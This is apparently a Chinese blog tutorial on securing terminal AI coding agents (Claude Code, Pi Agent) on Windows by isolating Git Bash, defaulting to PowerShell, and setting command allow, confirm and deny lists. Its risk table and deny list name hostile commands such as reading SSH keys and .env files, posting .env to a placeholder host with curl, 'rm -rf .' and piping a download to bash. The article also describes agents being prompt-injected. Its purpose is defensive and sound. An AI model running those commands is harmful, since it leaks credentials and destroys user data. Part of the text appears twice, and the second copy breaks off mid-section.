最近在 Windows 上折腾 Claude Code、Pi Agent 这类终端 AI 编码代理时遇到最多的不是模型能力问题而是“bash 命令找不到”“claude 无法识别”“Agent 总是要执行某个 bash 命令”这一类环境问题。聊到最后发现很多同学配置失败并不是安装步骤错了而是没有想清楚Agent 在 Windows 上到底会调用哪个 shell、BASH 工具在权限模型里处于什么位置、以及为什么“删掉 BASH 工具”会成为工程师之间讨论的安全话题。这篇文章就围绕“Pi 与 Claude 的 Agent 安全”展开从 BASH 工具为什么出现在危险名单里讲起再给出一套完整的 Windows 环境配置实战如何判断当前 shell、如何隔离 Git Bash、如何用 PowerShell 稳定运行 Claude Code、如何在 VSCode 里避免 Agent 误入 bash。最后会整理高频报错的排查清单以及面向生产的 Agent 安全最佳实践。如果你刚接触 AI 编码代理或者已经在用但总觉得“权限这东西不太放心”这篇文章值得从头到尾看一遍。1. 背景与核心概念Agent 为什么依赖 BASH又为什么危险1.1 Pi Agent 与 Claude Code 是哪类工具先解释两个主角。Pi Agent 是社区里一类“终端编码代理”的代表性称呼相关关键词包括 pi coding agent、pi agent acp、pi agent web 等。它的定位是你在终端里用自然语言描述需求Agent 读取项目代码、生成修改方案、执行命令、查看输出结果然后继续迭代。Claude Code 则是 Anthropic 推出的命令行编码代理做得更成熟支持在终端里直接完成代码理解、文件修改、git 操作和测试运行。这两类工具本质上都是“把终端当作手脚”的 Agent。它们不直接运行在云端帮你操作远程服务器而是在你本地开发机上用当前用户身份执行命令。这意味着 Agent 的能力上限取决于当前系统账号的权限范围也取决于你允许它执行哪些命令。理解这一点才能理解后面所有安全讨论。很多新手容易把“Agent 安全”等同于“提示词安全”其实这是两回事。提示词安全关心的是“模型有没有被诱导输出危险内容”Agent 安全关心的是“Agent 在当前机器上到底能做什么”。比如它能不能读取.env文件里的密钥、能不能执行rm -rf、能不能把代码提交到远端仓库这些都属于 Agent 安全范畴。1.2 Agent 执行命令的典型链路终端 Agent 执行一条命令通常不是“模型直接调用系统接口”而是走一条相对固定的链路用户在终端里输入任务描述。Agent 把任务拆解成若干步骤并生成要执行的命令。Agent 在交互界面里弹出一条确认提示例如 Claude Code 常见的allow this bash command。用户选择允许、拒绝或者允许并记住该命令。Agent 执行命令读取标准输出和错误输出。Agent 根据输出决定下一步操作继续循环直到任务完成。这个链路里第 3 步和第 4 步是安全设计的关键。之所以要人工确认是因为模型生成命令不一定完全可靠可能受提示词注入影响也可能因上下文理解偏差生成了高风险命令。如果用户每次都直接点“允许并记住”相当于把这台机器的控制权完全交给了模型这是很多安全问题的根源。在 Windows 环境里Agent 选择 shell 时会看系统里有什么。如果 PATH 中存在bash.exe例如 Git for Windows 自带的 Git Bash不少 Agent 会优先选择 bash 执行命令如果无法调用 bash就回退到 PowerShell 或 CMD。这解释了为什么很多 Windows 用户在配置 Claude Code 时会突然看到-bash: claude: command not found明明在 PowerShell 里命令是好的进了 bash 就找不到。1.3 BASH 工具在 Agent 场景中的风险BASH 工具的核心风险可以概括为“权限过大、审计困难”。bash 几乎可以操纵系统里的一切读写文件、修改环境变量、发起网络请求、控制进程、调用系统凭据。放在人类工程师手里bash 是效率工具放在 Agent 手里如果没有约束它就是一个没有安全边界的“万能执行器”。举个例子下面这些命令放在 Agent 场景里都属于高风险命令示例风险说明cat ~/.ssh/id_rsa读取 SSH 私钥可能导致凭据泄露cat .env读取环境变量中的数据库密码、API Keycurl http://xxx -d .env将敏感文件外发到第三方服务器rm -rf .误删项目目录恢复成本极高git push --force强制推送可能覆盖远端历史npm install安装依赖可能触发 postinstall 恶意脚本curl ... | bash下载并执行远程脚本风险完全不可控所以“工程师请删掉 BASH 工具”这个说法并不是真的让所有人卸载 Git Bash而是提醒大家在 Agent 编码场景里不要让 Agent 默认拥有一个万能 shell。应该把 BASH 工具从 Agent 的可执行路径中隔离出去或者至少要求所有高风险 bash 命令必须经过人工确认。2. 环境准备先摸清你机器上的终端现状2.1 常见 Windows 开发机组合要处理 Agent 安全问题先得知道你机器上到底装了什么。我在实际配置中见过的 Windows 开发环境组合通常是这样的操作系统Windows 10 或 Windows 11Git 工具Git for Windows自带 Git Bash、Git CMD语言运行时Node.js 18 及以上Claude Code 依赖 npm 全局安装编辑器VSCode配置了集成终端AI 工具Claude Code、Pi Agent 或其他终端编码代理包管理器npm、yarn 或 pnpm 之一这不是固定版本要求不同项目差异很大。重点不是记版本号而是理解只要安装了 Git for Windowsbash.exe一旦出现在 PATH 中Agent 就有可能把它作为默认 shell。所以“环境准备”的第一步不是装新工具而是先摸清现有 shell 分布和 PATH 情况。2.2 为什么 Git Bash 容易被 Agent 选中很多同学不理解我在 Windows 上装了个 Git为什么 Agent 不去用 PowerShell偏要去找 bash原因在于Agent 选择 shell 时有一套优先级判断逻辑。它通常读取环境变量SHELL如果找不到再看ComSpec如果项目脚本或配置里指定了bash它还会主动去 PATH 里搜索bash.exe。Git for Windows 安装后通常会把C:\Program Files\Git\bin和C:\Program Files\Git\usr\bin加入 PATH这两个目录下都有 bash 相关文件。于是 Agent 很容易探测到 bash并把它当作首选执行器。这就会带来两种典型问题第一种是执行环境不一致Agent 在 bash 里生成的路径、命令和 PowerShell 不一样容易出现兼容性问题第二种是安全边界模糊bash 在 Windows 上属于“半独立环境”它有自己的路径映射、挂载点和命令体系审计起来比 PowerShell 更麻烦。所以把 Agent 的执行环境收敛到单一 shell是降低安全风险的第一步。2.3 确认当前 Shell 与 PATH在动手修改之前建议先在 PowerShell 里执行以下命令确认当前状态# 查看当前默认 shell 相关变量 echo $env:SHELL echo $env:ComSpec # 查看 bash 是否能被找到 Get-Command bash # 查看 claude 是否能被找到 Get-Command claude # 查看 git 命令路径 Get-Command git预期结果分几种情况如果Get-Command bash输出了C:\Program Files\Git\bin\bash.exe说明 Agent 很容易调用 bash。如果Get-Command claude提示找不到命令说明 npm 全局目录没有加入 PATH。如果Get-Command git输出了C:\Program Files\Git\cmd\git.exe说明 Git 命令行工具本身是正常的删掉 bash 不会影响 git 操作。这一步可以看作安全审计的起点只有知道 Agent 会用什么 shell、能执行哪些命令才能决定下一步要删什么、改什么。3. 核心机制Agent 的命令授权与安全边界3.1 allow this bash command 背后是什么用过 Claude Code 或类似工具的同学一定对allow this bash command这类交互提示不陌生。它是 Agent 在执行 shell 命令之前向用户请求授权的机制。设计初衷是“人在回路”让用户对每次命令执行有知情权和决定权。但实际使用中很多人的做法是第一次弹出来点允许第二次弹出来点允许并记住后面干脆开启了“自动允许”。省事是真的危险也是真的。因为allow this bash command表面上是在批准“这一条命令”实际上是在逐步建立“这个 Agent 可以执行这类命令”的信任关系。信任一旦建立后续所有同类命令都不再询问问题就容易在无人注意时爆发。所以看待这个授权提示应该从“命令级别”上升到“权限级别”。每一次允许都是在为 Agent 的权限边界添砖加瓦。你需要清楚哪些命令值得长期信任哪些命令应该永远保持确认。3.2 Agent 安全的三层边界要建立 Agent 安全体系可以把它拆成三层边界第一层是账号权限边界。Agent 以当前用户身份运行它不能直接获取更高权限但当前用户能读到的文件它都能读当前用户能执行的命令它都能执行。这意味着你不能只靠“Agent 很聪明不会乱来”来兜底必须从账号层面限制。第二层是命令白名单边界。你应该定义一套“允许自动执行”的命令清单例如git status、git diff、ls、cat项目文件、运行测试等把rm、mv、git push、npm install、curl这类命令划入“需要确认”的列表把提权、读取私钥、读取.env、外发网络请求等命令划入“禁止执行”的列表。第三层是数据外发边界。模型请求本身会把代码片段发送到模型服务端这是工具工作原理决定的而命令执行可能把更多数据通过 curl、scp、git push 等方式外发出去。这一层需要网络安全策略和审计机制来约束。这三层边界缺一不可。只做账号权限不限制命令Agent 仍然可以用当前账号做很多危险操作只做命令白名单不控制数据外发敏感文件仍然可能通过合法命令泄露。3.3 为什么不建议“默认允许全部 bash 命令”有人会觉得我自己手动执行命令时也没那么小心Agent 会不会比我更谨慎这里的问题在于Agent 对风险的理解是概率性的不是确定性的。它可能因为上下文不完整把rm -rf用在了错误的目录上也可能因为读取了某个恶意 README 文件被提示词注入诱导去执行外部脚本还可能因为输出被截断误判了当前执行结果。人类工程师犯这些错也会造成事故但 Agent 犯错的速度和频率在“自动允许全部”的模式下会被无限放大。一个比较典型的场景是Agent 发现项目里有.env文件为了排查环境变量问题直接执行cat .env并把内容写进了日志或代码注释里。这在本地开发时看似无害一旦代码提交到公共仓库密钥就泄露了。类似的事故在默认允许全部 bash 命令的情况下几乎是无法拦截的。所以最小权限原则不是搞形式主义而是真正降低事故概率的工程手段。4. 完整实战从“bash 调 Claude”改成“安全调用 Claude Code”4.1 第一步备份并隔离 Bash 工具标题说“删掉 BASH 工具”但更稳妥的实践是先备份、再隔离最后才考虑卸载。因为 Git for Windows 自带的可执行文件比较多直接卸载会影响日常 git 使用而且系统里可能还有其他依赖 bash 的工具比如某些 npm 脚本、VSCode 插件、自动化脚本。建议做法是保留 Git 的命令行工具但把 bash 从 Agent 可探测的路径中隔离出去。Windows 环境变量操作路径是“此电脑 → 属性 → 高级系统设置 → 环境变量”。需要检查用户变量和系统变量中的Path重点关注下面两个路径C:\Program Files\Git\binC:\Program Files\Git\usr\bin操作前先把当前Path完整复制到一个文本文件里备份。然后把Git\bin和Git\usr\bin从 PATH 中删除保留C:\Program Files\Git\cmd。这样做的效果是git命令仍然可以在 PowerShell 和 CMD 里正常使用但bash命令不再被系统全局找到Agent 默认调用 bash 的概率会大幅下降。如果你的开发机里只有 Git Bash没有 WSL 或其他 bash 环境隔离之后Get-Command bash应该提示找不到命令。如果系统里还有别的 bash比如 WSL 的/bin/bash则需要进一步确认 Agent 是否可能调用到它。对于绝大多数 Windows 编码场景PowerShell 完全可以满足 Agent 的日常命令需求不需要 bash。4.2 第二步将默认 Shell 切换为 PowerShell隔离 bash 之后还需要显式告诉系统和 Agent本机默认 shell 是 PowerShell。方法有两种一种是设置用户级环境变量另一种是在 Agent 配置里指定 shell。在 PowerShell 里执行以下命令设置用户级SHELL环境变量[Environment]::SetEnvironmentVariable( SHELL, C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, User )这条命令的作用是把当前用户的SHELL环境变量指向 Windows PowerShell 的可执行文件。设置完成后新开的终端和重新启动的 Agent 进程都会优先使用 PowerShell 作为 shell。如果你系统安装的是 PowerShell 7则路径通常是C:\Program Files\PowerShell\7\pwsh.exe可以按实际安装位置调整。设置完之后建议重启终端再执行一次echo $env:SHELL确认变量生效。4.3 第三步用 PowerShell 安装并配置 Claude Code在隔离 bash、切换默认 shell 之后再安装 Claude Code能避免很多路径和权限问题。安装过程本身不复杂核心是 npm 全局安装npm install -g anthropic-ai/claude-code安装完成后先确认 npm 全局目录是否在 PATH 中npm prefix -gnpm prefix -g会输出 npm 全局安装目录例如C:\Users\你的用户名\AppData\Roaming\npm。如果这个目录不在 PATH 中claude命令就无法被识别。你可以把它加入用户 PATH也可以执行以下命令临时验证 $(npm prefix -g)\claude.cmd --version执行claude启动时首次运行会进入登录流程需要按官方指引授权。这里有一个安全提醒登录凭据和 API Key 要妥善保管不要写进项目代码也不要把包含密钥的.env文件放到 Agent 默认扫描目录下。4.4 第四步Pi Agent 的配置思路Pi Agent 这类工具配置核心和 Claude Code 类似指定执行 shell、控制命令授权、限定项目访问范围。不同 Agent 的具体配置字段不一样这里给出一个通用思路不绑定某一个工具# 示意配置具体字段名以你所使用的 Agent 文档为准 shell powershell.exe allowed_commands [ git status, git diff, git log, ls, cat, # 仅限项目内文件 npm test ] confirm_commands [ git push, git commit, rm, mv, npm install, pip install ] deny_commands [ cat ~/.ssh/id_rsa, curl, wget, sudo ] auto_execute false这段配置的意思是Agent 默认使用 PowerShell自动执行范围只包含低风险命令高风险命令需要人工确认高危命令直接拒绝。auto_execute false是最关键的一项表示 Agent 不能自动执行命令必须经过确认。如果你用的是社区版本的 Pi Agent可以把deny_commands看成一道硬边界因为 Agent 即使被提示词注入诱导也不能突破deny列表去执行命令。这个设计比单纯依赖模型自觉更可靠。4.5 第五步VSCode 终端配置联动很多 Agent 会话是在 VSCode 集成终端里启动的。如果 VSCode 的默认 profile 是 Git Bash那么即使你在系统级把 bash 隔离了VSCode 仍然可能以 bash 方式启动终端导致 Agent 重新进入 bash 环境。在 VSCode 的settings.json里加入以下配置{ terminal.integrated.profiles.windows: { PowerShell: { path: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe } }, terminal.integrated.defaultProfile.windows: PowerShell }配置完成后重新打开 VSCode点击终端面板右下角的“配置文件”按钮确认当前使用的是 PowerShell。这样 Agent 在 VSCode 启动的终端里也会使用 PowerShell避免 bash 路径残留的问题。4.6 第六步运行验证配置完成后建议做一轮完整的验证# 1. 确认 bash 已不可见 Get-Command bash # 2. 确认 git 命令仍然可用 Get-Command git # 3. 确认 claude 命令可用 Get-Command claude # 4. 确认 claude 版本 claude --version # 5. 启动 claude claude预期结果Get-Command bash提示找不到命令。Get-Command git输出路径末尾是\Git\cmd\git.exe。Get-Command claude输出路径末尾是\AppData\Roaming\npm\claude.cmd。claude --version输出对应版本号。claude进入交互界面说明配置成功。在 Claude Code 交互界面里可以找一个测试项目让它执行git status观察执行命令时是否不再弹 bash 相关授权提示。如果一切正常说明 Agent 已经切换到 PowerShell 环境运行。5. 常见问题与排查5.1 claude 不是内部或外部命令 / 无法识别 cmdlet这是 Windows 下安装 Claude Code 最常见的问题之一。错误提示通常是claude : 无法将“claude”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。或者claude 不是内部或外部命令也不是可运行的程序或批处理文件。出现这个报错说明系统找不到claude命令绝大多数情况是 npm 全局目录没有加入 PATH。排查步骤如下执行npm prefix -g查看 npm 全局目录。打开系统环境变量把该目录加入用户 PATH。重新打开终端执行Get-Command claude验证。如果还是不行执行npm ls -g --depth0检查 claude 是否真的安装成功。注意修改 PATH 后必须新开终端窗口才会生效在旧终端里执行命令仍然可能报错。5.2 -bash: claude: command not found这个报错一般出现在 Git Bash 或 WSL 终端里。即使claude在 PowerShell 中可用如果 bash 环境的 PATH 不包含 npm 全局目录就会提示找不到命令。如果坚持在 bash 环境使用可以临时执行export PATH$PATH:$(npm prefix -g)然后重新运行claude --version。但从本文的安全角度出发更推荐的做法是放弃 bash 环境统一使用 PowerShell。因为让 Agent 保留 bash 访问能力会让前面做的安全隔离失去意义。5.3 allow this bash command 频繁弹出有些同学发现Agent 执行命令时频繁弹出allow this bash command觉得很烦甚至想直接关闭确认功能。这里要明确频繁弹出是安全设计的一部分不是故障。如果确认功能被彻底关闭Agent 就可以在无监督情况下执行任意命令风险极高。更好的方式是收紧命令白名单把高频低风险命令加入自动执行列表而不是关闭确认。比如git status、ls这类命令完全可以自动执行而npm install、git push这类命令保持确认是合理的。5.4 删掉 Git Bash 后 git 命令还能用吗能用。git 命令行工具本身不依赖 Git Bash 环境。只要你保留了C:\Program Files\Git\cmd在 PATH 中PowerShell 和 CMD 里都可以正常使用git命令。验证方式Get-Command git如果输出路径指向C:\Program Files\Git\cmd\git.exe说明没问题。如果提示找不到命令只需要把Git\cmd加回 PATH 即可。5.5 VSCode 启动终端提示找不到 bash这个问题通常发生在 VSCode 的默认终端 profile 还指向 Git Bash 的情况下。你在系统里隔离了 bash但 VSCode 配置里还写了 bash 的路径所以启动终端时提示找不到 shell。解决办法是打开 VSCode 设置把默认 profile 改成 PowerShell并检查settings.json里是否存在旧的 bash 配置。可以参考 4.5 节的配置方式。下面是常见问题的汇总表问题现象常见原因解决思路claude 无法识别 cmdletnpm 全局目录未加入 PATH将 npm prefix -g 目录加入 PATH-bash: claude: command not foundbash 环境 PATH 不含 npm 全局目录使用 PowerShell 作为默认 shellallow this bash command 频繁弹出命令白名单未配置所有命令都需确认将安全命令加入白名单不要关闭确认隔离 bash 后 git 不可用PATH 中缺少 Git\cmd将 C:\Program Files\Git\cmd 加入 PATHVSCode 终端找不到 bash默认 profile 仍指向 bash将默认 profile 改为 PowerShell6. 最佳实践与工程建议6.1 给 Agent 一个“最小可用终端”删掉或隔离 BASH 工具只是第一步更完整的做法是给 Agent 提供“最小可用终端”。这个终端应该满足两个条件能完成日常编码任务但不能轻易访问敏感资源。具体手段可以包括使用容器隔离开发环境在容器内运行 Agent宿主机文件系统只挂载必要目录。为 Agent 创建专用系统账号限制其文件读写权限。在 PowerShell 里配置执行策略和脚本块日志记录 Agent 每次命令执行情况。禁止 Agent 访问~/.ssh、.env等敏感目录。这里的核心不是“让 Agent 什么都不能做”而是“让 Agent 只能做编码需要的操作”。越接近最小权限安全事故的爆炸半径就越小。6.2 命令白名单与人工确认结合命令授权不能走极端。完全不配置白名单Agent 每次执行命令都弹出确认会把人逼疯完全自动执行又会失去安全边界。推荐的做法是把命令分成三类命令类型示例授权方式自动执行git status、git diff、ls、cat 项目文件、npm test白名单自动执行人工确认git push、git reset、rm、mv、npm install、pip install每次执行前确认禁止执行sudo、读取 ssh 私钥、读取 .env、curl/wget 外发直接拒绝并记录日志特别注意npm install这类包管理命令。安装依赖时会执行第三方包里的postinstall脚本供应链风险很高不建议加入自动执行白名单。6.3 密钥与凭据管理很多 Agent 项目喜欢把 API Key、数据库密码放在.env文件里方便代码读取。但在 Agent 场景下.env是明文敏感文件Agent 随时可能因为排查问题把它读出来写进日志或注释。更稳妥的做法是开发环境使用系统级环境变量或密钥管理工具不要放进项目目录。即使必须使用.env也要在 Agent 配置里把.env加入禁止读取列表。区分开发密钥和生产密钥生产密钥永远不应该出现在本地开发环境。定期检查 git 历史防止.env被误提交。安全不是禁掉所有读取行为而是通过机制让敏感数据尽量少暴露在 Agent 可读范围内。6.4 日志与审计Agent 安全事故发生后最痛苦的事情是没有日志不知道它到底执行了什么命令、什么时候执行的、谁批准的。所以从第一天使用 Agent 开始就应该开启命令审计。在 Windows 上可以开启 PowerShell 脚本块日志记录所有能够捕获的 PowerShell 命令。对于 Claude Code 这类工具可以关注它自身的会话记录能力。Pi Agent 如果支持命令历史也要保留完整记录。审计日志本身要集中存放防止 Agent 执行删除日志的命令。如果条件允许日志可以发送到独立的日志平台或对象存储这样即使开发机被破坏审计记录仍然保留。6.5 版本与更新策略Claude Code、Pi Agent 这类工具迭代速度非常快几乎每隔一段时间就有新版本发布。很多安全问题不是旧版本才有的而是新版本行为变化引入的。因此不建议在关键项目里盲目使用 nightly 版或最新版。建议的做法是固定使用经过验证的版本升级前查看 release notes确认安全相关变更。在测试项目里先验证新版本行为再推广到日常项目。关注工具官方的安全公告了解已知漏洞和缓解措施。如果团队统一使用 Agent 工具应该有统一版本和统一配置避免每个人自己乱改。版本管理本身不是安全功能但它能减少“工具行为突然变化导致安全策略失效”的情况。稳定、可预期、可审计才是 Agent 安全配置的目标。7. 总结这篇文章从“工程师请删掉 BASH 工具”这个颇有争议的说法切入讲清楚了终端 Agent 调用 shell 的机制、BASH 工具在 Windows 环境下的安全风险、以及如何通过隔离 Git Bash、切换 PowerShell、配置命令白名单来收紧 Agent 权限边界。你可能发现删掉 BASH 工具并不是核心核心是让 Agent 在一个可控、可审计、最小权限的终端环境里工作。allow this bash command这类确认提示不是用来烦人的它是你守住安全边界的最后一道闸门。想要长期稳定使用 Claude Code、Pi Agent 这类工具真正值得做的是从第一天就建立命令白名单、保留审计日志、保护密钥文件而不是出了问题再补救。如果你读完这篇文章只记住一个行动项我建议先从“命令审计”开始把 Agent 执行的每一条命令记录下来观察一周你会比自己想象中更了解 Agent 到底做了什么。
AI编程代理安全：Windows下隔离BASH，让Claude Code安全运行
最近在 Windows 上折腾 Claude Code、Pi Agent 这类终端 AI 编码代理时遇到最多的不是模型能力问题而是“bash 命令找不到”“claude 无法识别”“Agent 总是要执行某个 bash 命令”这一类环境问题。聊到最后发现很多同学配置失败并不是安装步骤错了而是没有想清楚Agent 在 Windows 上到底会调用哪个 shell、BASH 工具在权限模型里处于什么位置、以及为什么“删掉 BASH 工具”会成为工程师之间讨论的安全话题。这篇文章就围绕“Pi 与 Claude 的 Agent 安全”展开从 BASH 工具为什么出现在危险名单里讲起再给出一套完整的 Windows 环境配置实战如何判断当前 shell、如何隔离 Git Bash、如何用 PowerShell 稳定运行 Claude Code、如何在 VSCode 里避免 Agent 误入 bash。最后会整理高频报错的排查清单以及面向生产的 Agent 安全最佳实践。如果你刚接触 AI 编码代理或者已经在用但总觉得“权限这东西不太放心”这篇文章值得从头到尾看一遍。1. 背景与核心概念Agent 为什么依赖 BASH又为什么危险1.1 Pi Agent 与 Claude Code 是哪类工具先解释两个主角。Pi Agent 是社区里一类“终端编码代理”的代表性称呼相关关键词包括 pi coding agent、pi agent acp、pi agent web 等。它的定位是你在终端里用自然语言描述需求Agent 读取项目代码、生成修改方案、执行命令、查看输出结果然后继续迭代。Claude Code 则是 Anthropic 推出的命令行编码代理做得更成熟支持在终端里直接完成代码理解、文件修改、git 操作和测试运行。这两类工具本质上都是“把终端当作手脚”的 Agent。它们不直接运行在云端帮你操作远程服务器而是在你本地开发机上用当前用户身份执行命令。这意味着 Agent 的能力上限取决于当前系统账号的权限范围也取决于你允许它执行哪些命令。理解这一点才能理解后面所有安全讨论。很多新手容易把“Agent 安全”等同于“提示词安全”其实这是两回事。提示词安全关心的是“模型有没有被诱导输出危险内容”Agent 安全关心的是“Agent 在当前机器上到底能做什么”。比如它能不能读取.env文件里的密钥、能不能执行rm -rf、能不能把代码提交到远端仓库这些都属于 Agent 安全范畴。1.2 Agent 执行命令的典型链路终端 Agent 执行一条命令通常不是“模型直接调用系统接口”而是走一条相对固定的链路用户在终端里输入任务描述。Agent 把任务拆解成若干步骤并生成要执行的命令。Agent 在交互界面里弹出一条确认提示例如 Claude Code 常见的allow this bash command。用户选择允许、拒绝或者允许并记住该命令。Agent 执行命令读取标准输出和错误输出。Agent 根据输出决定下一步操作继续循环直到任务完成。这个链路里第 3 步和第 4 步是安全设计的关键。之所以要人工确认是因为模型生成命令不一定完全可靠可能受提示词注入影响也可能因上下文理解偏差生成了高风险命令。如果用户每次都直接点“允许并记住”相当于把这台机器的控制权完全交给了模型这是很多安全问题的根源。在 Windows 环境里Agent 选择 shell 时会看系统里有什么。如果 PATH 中存在bash.exe例如 Git for Windows 自带的 Git Bash不少 Agent 会优先选择 bash 执行命令如果无法调用 bash就回退到 PowerShell 或 CMD。这解释了为什么很多 Windows 用户在配置 Claude Code 时会突然看到-bash: claude: command not found明明在 PowerShell 里命令是好的进了 bash 就找不到。1.3 BASH 工具在 Agent 场景中的风险BASH 工具的核心风险可以概括为“权限过大、审计困难”。bash 几乎可以操纵系统里的一切读写文件、修改环境变量、发起网络请求、控制进程、调用系统凭据。放在人类工程师手里bash 是效率工具放在 Agent 手里如果没有约束它就是一个没有安全边界的“万能执行器”。举个例子下面这些命令放在 Agent 场景里都属于高风险命令示例风险说明cat ~/.ssh/id_rsa读取 SSH 私钥可能导致凭据泄露cat .env读取环境变量中的数据库密码、API Keycurl http://xxx -d .env将敏感文件外发到第三方服务器rm -rf .误删项目目录恢复成本极高git push --force强制推送可能覆盖远端历史npm install安装依赖可能触发 postinstall 恶意脚本curl ... | bash下载并执行远程脚本风险完全不可控所以“工程师请删掉 BASH 工具”这个说法并不是真的让所有人卸载 Git Bash而是提醒大家在 Agent 编码场景里不要让 Agent 默认拥有一个万能 shell。应该把 BASH 工具从 Agent 的可执行路径中隔离出去或者至少要求所有高风险 bash 命令必须经过人工确认。2. 环境准备先摸清你机器上的终端现状2.1 常见 Windows 开发机组合要处理 Agent 安全问题先得知道你机器上到底装了什么。我在实际配置中见过的 Windows 开发环境组合通常是这样的操作系统Windows 10 或 Windows 11Git 工具Git for Windows自带 Git Bash、Git CMD语言运行时Node.js 18 及以上Claude Code 依赖 npm 全局安装编辑器VSCode配置了集成终端AI 工具Claude Code、Pi Agent 或其他终端编码代理包管理器npm、yarn 或 pnpm 之一这不是固定版本要求不同项目差异很大。重点不是记版本号而是理解只要安装了 Git for Windowsbash.exe一旦出现在 PATH 中Agent 就有可能把它作为默认 shell。所以“环境准备”的第一步不是装新工具而是先摸清现有 shell 分布和 PATH 情况。2.2 为什么 Git Bash 容易被 Agent 选中很多同学不理解我在 Windows 上装了个 Git为什么 Agent 不去用 PowerShell偏要去找 bash原因在于Agent 选择 shell 时有一套优先级判断逻辑。它通常读取环境变量SHELL如果找不到再看ComSpec如果项目脚本或配置里指定了bash它还会主动去 PATH 里搜索bash.exe。Git for Windows 安装后通常会把C:\Program Files\Git\bin和C:\Program Files\Git\usr\bin加入 PATH这两个目录下都有 bash 相关文件。于是 Agent 很容易探测到 bash并把它当作首选执行器。这就会带来两种典型问题第一种是执行环境不一致Agent 在 bash 里生成的路径、命令和 PowerShell 不一样容易出现兼容性问题第二种是安全边界模糊bash 在 Windows 上属于“半独立环境”它有自己的路径映射、挂载点和命令体系审计起来比 PowerShell 更麻烦。所以把 Agent 的执行环境收敛到单一 shell是降低安全风险的第一步。2.3 确认当前 Shell 与 PATH在动手修改之前建议先在 PowerShell 里执行以下命令确认当前状态# 查看当前默认 shell 相关变量 echo $env:SHELL echo $env:ComSpec # 查看 bash 是否能被找到 Get-Command bash # 查看 claude 是否能被找到 Get-Command claude # 查看 git 命令路径 Get-Command git预期结果分几种情况如果Get-Command bash输出了C:\Program Files\Git\bin\bash.exe说明 Agent 很容易调用 bash。如果Get-Command claude提示找不到命令说明 npm 全局目录没有加入 PATH。如果Get-Command git输出了C:\Program Files\Git\cmd\git.exe说明 Git 命令行工具本身是正常的删掉 bash 不会影响 git 操作。这一步可以看作安全审计的起点只有知道 Agent 会用什么 shell、能执行哪些命令才能决定下一步要删什么、改什么。3. 核心机制Agent 的命令授权与安全边界3.1 allow this bash command 背后是什么用过 Claude Code 或类似工具的同学一定对allow this bash command这类交互提示不陌生。它是 Agent 在执行 shell 命令之前向用户请求授权的机制。设计初衷是“人在回路”让用户对每次命令执行有知情权和决定权。但实际使用中很多人的做法是第一次弹出来点允许第二次弹出来点允许并记住后面干脆开启了“自动允许”。省事是真的危险也是真的。因为allow this bash command表面上是在批准“这一条命令”实际上是在逐步建立“这个 Agent 可以执行这类命令”的信任关系。信任一旦建立后续所有同类命令都不再询问问题就容易在无人注意时爆发。所以看待这个授权提示应该从“命令级别”上升到“权限级别”。每一次允许都是在为 Agent 的权限边界添砖加瓦。你需要清楚哪些命令值得长期信任哪些命令应该永远保持确认。3.2 Agent 安全的三层边界要建立 Agent 安全体系可以把它拆成三层边界第一层是账号权限边界。Agent 以当前用户身份运行它不能直接获取更高权限但当前用户能读到的文件它都能读当前用户能执行的命令它都能执行。这意味着你不能只靠“Agent 很聪明不会乱来”来兜底必须从账号层面限制。第二层是命令白名单边界。你应该定义一套“允许自动执行”的命令清单例如git status、git diff、ls、cat项目文件、运行测试等把rm、mv、git push、npm install、curl这类命令划入“需要确认”的列表把提权、读取私钥、读取.env、外发网络请求等命令划入“禁止执行”的列表。第三层是数据外发边界。模型请求本身会把代码片段发送到模型服务端这是工具工作原理决定的而命令执行可能把更多数据通过 curl、scp、git push 等方式外发出去。这一层需要网络安全策略和审计机制来约束。这三层边界缺一不可。只做账号权限不限制命令Agent 仍然可以用当前账号做很多危险操作只做命令白名单不控制数据外发敏感文件仍然可能通过合法命令泄露。3.3 为什么不建议“默认允许全部 bash 命令”有人会觉得我自己手动执行命令时也没那么小心Agent 会不会比我更谨慎这里的问题在于Agent 对风险的理解是概率性的不是确定性的。它可能因为上下文不完整把rm -rf用在了错误的目录上也可能因为读取了某个恶意 README 文件被提示词注入诱导去执行外部脚本还可能因为输出被截断误判了当前执行结果。人类工程师犯这些错也会造成事故但 Agent 犯错的速度和频率在“自动允许全部”的模式下会被无限放大。一个比较典型的场景是Agent 发现项目里有.env文件为了排查环境变量问题直接执行cat .env并把内容写进了日志或代码注释里。这在本地开发时看似无害一旦代码提交到公共仓库密钥就泄露了。类似的事故在默认允许全部 bash 命令的情况下几乎是无法拦截的。所以最小权限原则不是搞形式主义而是真正降低事故概率的工程手段。4. 完整实战从“bash 调 Claude”改成“安全调用 Claude Code”4.1 第一步备份并隔离 Bash 工具标题说“删掉 BASH 工具”但更稳妥的实践是先备份、再隔离最后才考虑卸载。因为 Git for Windows 自带的可执行文件比较多直接卸载会影响日常 git 使用而且系统里可能还有其他依赖 bash 的工具比如某些 npm 脚本、VSCode 插件、自动化脚本。建议做法是保留 Git 的命令行工具但把 bash 从 Agent 可探测的路径中隔离出去。Windows 环境变量操作路径是“此电脑 → 属性 → 高级系统设置 → 环境变量”。需要检查用户变量和系统变量中的Path重点关注下面两个路径C:\Program Files\Git\binC:\Program Files\Git\usr\bin操作前先把当前Path完整复制到一个文本文件里备份。然后把Git\bin和Git\usr\bin从 PATH 中删除保留C:\Program Files\Git\cmd。这样做的效果是git命令仍然可以在 PowerShell 和 CMD 里正常使用但bash命令不再被系统全局找到Agent 默认调用 bash 的概率会大幅下降。如果你的开发机里只有 Git Bash没有 WSL 或其他 bash 环境隔离之后Get-Command bash应该提示找不到命令。如果系统里还有别的 bash比如 WSL 的/bin/bash则需要进一步确认 Agent 是否可能调用到它。对于绝大多数 Windows 编码场景PowerShell 完全可以满足 Agent 的日常命令需求不需要 bash。4.2 第二步将默认 Shell 切换为 PowerShell隔离 bash 之后还需要显式告诉系统和 Agent本机默认 shell 是 PowerShell。方法有两种一种是设置用户级环境变量另一种是在 Agent 配置里指定 shell。在 PowerShell 里执行以下命令设置用户级SHELL环境变量[Environment]::SetEnvironmentVariable( SHELL, C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, User )这条命令的作用是把当前用户的SHELL环境变量指向 Windows PowerShell 的可执行文件。设置完成后新开的终端和重新启动的 Agent 进程都会优先使用 PowerShell 作为 shell。如果你系统安装的是 PowerShell 7则路径通常是C:\Program Files\PowerShell\7\pwsh.exe可以按实际安装位置调整。设置完之后建议重启终端再执行一次echo $env:SHELL确认变量生效。4.3 第三步用 PowerShell 